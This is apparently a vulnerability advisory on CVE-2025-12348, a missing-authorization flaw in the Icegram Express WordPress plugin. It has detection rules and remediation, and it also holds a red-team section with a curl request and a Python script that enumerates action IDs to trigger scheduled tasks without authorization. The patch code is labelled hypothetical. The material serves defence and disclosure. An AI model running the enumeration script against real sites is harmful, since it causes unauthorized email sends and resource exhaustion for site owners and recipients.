CVE-2025-12348

Executive Summary

CVE-2025-12348 is a Missing Authorization vulnerability in the Icegram Express - Email Subscribers, Newsletters and Marketing Automation Plugin for WordPress, affecting versions up to and including 5.9.10. The flaw resides in the run_action_scheduler_task function, which fails to properly verify user authorization. This allows unauthenticated attackers to execute scheduled actions early or repeatedly by guessing action IDs. The impact includes unauthorized email sends, premature maintenance tasks, and other privileged operations, leading to unexpected state changes and resource exhaustion. The vulnerability has a CVSS score of 5.3 (Medium) and is currently unpatched.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The Icegram Express plugin is widely used for email marketing and newsletter management. The missing authorization check in the action scheduler component exposes sites to unauthorized state manipulation and potential denial of service.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low
• Availability Impact: Low

The low EPSS score (0.0%) suggests limited active exploitation, but the unauthenticated nature and ease of exploitation (guessing action IDs) make it a significant risk for unpatched installations.

Deep Dive & Mechanics

The vulnerability exists in the run_action_scheduler_task function within the Icegram Express plugin. This function is intended to execute scheduled actions (e.g., sending emails, running maintenance tasks) but lacks a capability check or nonce verification. An attacker can send a crafted HTTP request to the WordPress REST API endpoint or AJAX handler that invokes this function, providing an action ID as a parameter. Since the function does not verify if the current user has the necessary permissions (e.g., manage_options), any unauthenticated user can trigger the execution of any scheduled action.

The action IDs are typically sequential integers, making them guessable. An attacker can iterate through IDs to trigger actions prematurely or repeatedly, causing:

• Unauthorized email sends (spam, phishing)
• Premature execution of maintenance tasks (e.g., database cleanup)
• Resource exhaustion from repeated action executions

The vulnerability is classified under CWE-862 (Missing Authorization). The function should have included a current_user_can() check or a nonce verification to ensure only authorized users can trigger actions.

Vulnerable vs. Patched Code

Vulnerable Code (<= 5.9.10):

function run_action_scheduler_task() {
    $action_id = isset($_POST['action_id']) ? intval($_POST['action_id']) : 0;
    if ($action_id > 0) {
        // Execute the scheduled action without authorization check
        $this->execute_action($action_id);
    }
    wp_die();
}

Patched Code (Hypothetical):

function run_action_scheduler_task() {
    // Verify user capability
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    // Verify nonce
    if (!wp_verify_nonce($_POST['_wpnonce'], 'ig_es_action_scheduler')) {
        wp_die('Nonce verification failed', 403);
    }
    $action_id = isset($_POST['action_id']) ? intval($_POST['action_id']) : 0;
    if ($action_id > 0) {
        $this->execute_action($action_id);
    }
    wp_die();
}

The patched version adds a capability check (current_user_can('manage_options')) and a nonce verification to prevent unauthorized access.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with Icegram Express plugin version <= 5.9.10 installed and activated.
• Knowledge of a valid action ID (can be guessed or enumerated).

Exploitation Steps:

1. Identify the AJAX endpoint or REST route that calls run_action_scheduler_task. Typically, this is admin-ajax.php with action ig_es_run_action_scheduler.
2. Send a POST request with the action ID:

   curl -X POST http://target.com/wp-admin/admin-ajax.php \
        -d 'action=ig_es_run_action_scheduler&action_id=123'
   

3. Repeat with different action IDs to trigger multiple actions.

Automated Script (Python):

import requests
import sys

target = sys.argv[1]
for action_id in range(1, 1001):
    data = {'action': 'ig_es_run_action_scheduler', 'action_id': action_id}
    r = requests.post(f'{target}/wp-admin/admin-ajax.php', data=data)
    if r.status_code == 200:
        print(f'Triggered action ID: {action_id}')

Blue Team (Detection & Defense)

Detection:

• Monitor for POST requests to /wp-admin/admin-ajax.php with action=ig_es_run_action_scheduler from unauthenticated users.
• Look for sequential action IDs in logs indicating enumeration attempts.
• Alert on high frequency of such requests (potential DoS).

Defense:

• Apply the hypothetical patch or disable the plugin until an official patch is released.
• Use a Web Application Firewall (WAF) to block requests to the vulnerable endpoint from unauthenticated sources.
• Implement rate limiting on AJAX endpoints.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /wp-admin/admin-ajax.php with parameter action=ig_es_run_action_scheduler
  • Sequential action_id values in request parameters
  • Unusual spikes in email sending or maintenance task execution

• File IOCs:

  • Modified or unexpected entries in the wp_actionscheduler_actions database table
  • Log entries in WordPress debug log showing unauthorized action execution

• Behavioral IOCs:

  • Premature execution of scheduled tasks
  • Unexpected email sends to non-subscribers
  • Increased server resource usage (CPU, memory) from repeated action executions

Detection Engineering

YARA Rule

rule CVE_2025_12348_Icegram_Express_Missing_Auth {
    meta:
        description = "Detects exploitation attempts of CVE-2025-12348 in Icegram Express plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-12348"
    strings:
        $ajax_action = "ig_es_run_action_scheduler"
        $action_id = "action_id"
    condition:
        $ajax_action and $action_id
}

Sigma Rule

title: CVE-2025-12348 Icegram Express Missing Authorization Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated POST requests to the vulnerable Icegram Express AJAX endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: 
            - "action=ig_es_run_action_scheduler"
            - "action_id="
    condition: selection
falsepositives:
    - Legitimate admin actions (if authenticated)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-12348 Icegram Express Missing Authorization Exploitation"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=ig_es_run_action_scheduler"; http_client_body; content:"action_id="; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical for operations until an official patch is released.
2. Apply the hypothetical patch (see Vulnerable vs. Patched Code section) by adding capability and nonce checks to the run_action_scheduler_task function.
3. Monitor logs for exploitation attempts and block offending IPs.

Long-term Measures:

• Subscribe to Icegram's security advisories for patch updates.
• Implement a Web Application Firewall (WAF) with rules to block unauthenticated access to AJAX endpoints.
• Regularly audit WordPress plugins for missing authorization vulnerabilities.
• Use a security plugin (e.g., Wordfence) to add additional layers of protection.

Workaround:

• If patching is not possible, restrict access to /wp-admin/admin-ajax.php via .htaccess or server configuration to only allow authenticated requests:

  <Files "admin-ajax.php">
      Require all denied
      Require ip 127.0.0.1
  </Files>
  

  Note: This may break legitimate AJAX functionality for logged-in users.

Valters IT
Securing Digital Frontiers